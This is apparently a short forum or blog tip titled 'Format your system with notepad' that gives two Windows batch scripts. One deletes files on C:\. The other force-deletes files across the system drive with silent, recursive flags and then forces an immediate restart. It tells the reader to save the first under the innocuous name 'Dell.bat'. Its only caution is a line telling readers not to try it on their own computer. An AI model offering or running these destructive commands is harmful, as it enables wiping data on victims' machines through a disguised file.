Format your system with notepad :

go to notepad

@Echo off
Del C:\ *.*|y

save it as Dell.bat

or
worse

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as abc .bat file

caution:-don’t try this on your computer

this may result in loss of data and i m not responsible for any loss so be carefull .